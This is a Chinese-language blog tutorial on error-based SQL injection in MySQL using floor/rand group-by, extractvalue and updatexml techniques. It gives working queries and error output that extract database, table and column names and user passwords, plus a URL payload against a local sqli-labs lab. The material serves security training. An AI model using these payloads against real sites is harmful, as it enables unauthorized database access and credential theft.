SQL注入2(報錯型注入)

接SQL注入(一)https://blog.csdn.net/weixin_43997530/article/details/105627979

報錯型SQL注入

我們先介紹一下報錯型SQL注入,報錯型sql注入sql注入(一)的前三步是一致的,但沒有數據的回顯位,也就是說即使構造語句成功我們也沒有辦法看到數據的顯示。但是如果sql語句出現錯誤則可以顯示在頁面上,我們可以利用這點來構造報錯顯示sql語句 。如下圖,當我們輸入id=1時,頁面並沒有給我們顯示信息,但我們可以知道,輸入是正確的還是錯誤的。

用到的函數用法

group by

用法:將結果根據我們想要的規則分類;

concat

用法:將多個字符串連接爲一個字符串

concat(str1, str2,...) 返回結果爲連接參數產生的字符串,如果有任何一個參數爲null,則返回值爲null。

concat_ws()函數

用法:和concat()一樣,將多個字符串連接成一個字符串,但是可以一次性指定分隔符~(concat_ws就是concat with separator)

concat_ws(separator, str1, str2, ...)

說明:第一個參數指定分隔符。需要注意的是分隔符不能爲null,如果爲null,則返回結果爲null。

Count

用法:Count();聚集函數,統計元祖的個數

rand

用法:rand();產生一個0~1的隨機數,如果加上一個隨機因子,就可以得到一個0~1固定的值,如圖;

floor

用法:向下取整

extractvalue

用法:extractvalue(目標xml文檔,xml路徑) ;對XML文檔進行查詢的函數。

正常情況下第2個參數的格式爲:/XX/XX,而如果我們使用其他格式的參數形式,就會報錯,而且會拋出錯誤的具體內容,這個具體內容就是我們想要查詢的內容。

extractvalue()能查詢字符串的最大長度爲32,就是說如果我們想要的結果超過32,就需要用substr()函數截取,一次查看32位

注:Substr()---截取字符串 三個參數 (所要截取字符串,截取的位置,截取的長度)

updatexml

用法:updatexml()函數與extractvalue()類似,是更新xml文檔的函數。

語法updatexml(目標xml文檔,xml路徑,更新的內容);還是修改xml路徑的格式,使其拋出錯誤。


SQL注入語句:

floor報錯注入

使用的函數爲floor、rand、concat、group by,雖然這幾個函數單獨來看沒什麼特別的,但是如果將其結合使用,就可以使其拋出錯誤,達到我們想要的結果。

爆出當前的數據庫

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,(select database()));

ERROR 1062 (23000): Duplicate entry '1:security' for key 1

注:這裏的拋出的錯誤是前半句語句出錯了,這裏大家只要記住這裏的count、group by、concat、floor、rand這幾個函數的組合起來使用就可以讓系統拋出錯誤,效果如下;然後再在concat函數後面加我們想要查詢的語句即可。

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2));

ERROR 1062 (23000): Duplicate entry '1' for key 1

爆出表名

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,(select table_name from information_schema.tables where table_schema='security'));

ERROR 1242 (21000): Subquery returns more than 1 row
mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1));

ERROR 1062 (23000): Duplicate entry '1:emails' for key 1

注:同樣這裏輸出超過了一行,我們使用limit函數進行限制。 

爆出列名:

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1 ));

ERROR 1062 (23000): Duplicate entry '1:user_id' for key 1

 爆出數據:

mysql> select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,(select username from users limit 0,1 ));

ERROR 1062 (23000): Duplicate entry '1:Dumb' for key 1

按照SQL注入(一)中的思路,再替換這裏我們列出的SQL語句,我們就能看到我們想要的數據。

http://192.168.67.134/sqli-labs-master/Less-5/?id=1' union all select 1,(select count(*) from information_schema.tables group by concat(floor(rand(0)*2),0x3a,(select database()))),3--+

extractvalue報錯注入

獲取表名:

mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));

ERROR 1105 (HY000): XPATH syntax error: '\users'

注:這裏的0x5c只要不是規定的格式都可以

獲取字段:

mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105 (HY000): XPATH syntax error: '\I-kill-you'mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));

ERROR 1105 (HY000): XPATH syntax error: '\Dumb'

updatexml報錯注入

獲取表名:

mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 3,1)),0);

ERROR 1105 (HY000): XPATH syntax error: '~users'

獲取列名:

mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 4,1)),0);

ERROR 1105 (HY000): XPATH syntax error: '~password'

mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 3,1)),0);

ERROR 1105 (HY000): XPATH syntax error: '~user'

獲取內容:

mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 0,1)),0);ERROR 1105 (HY000): XPATH syntax error: '~Dumb'mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 1,1)),0);

ERROR 1105 (HY000): XPATH syntax error: '~I-kill-you'

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章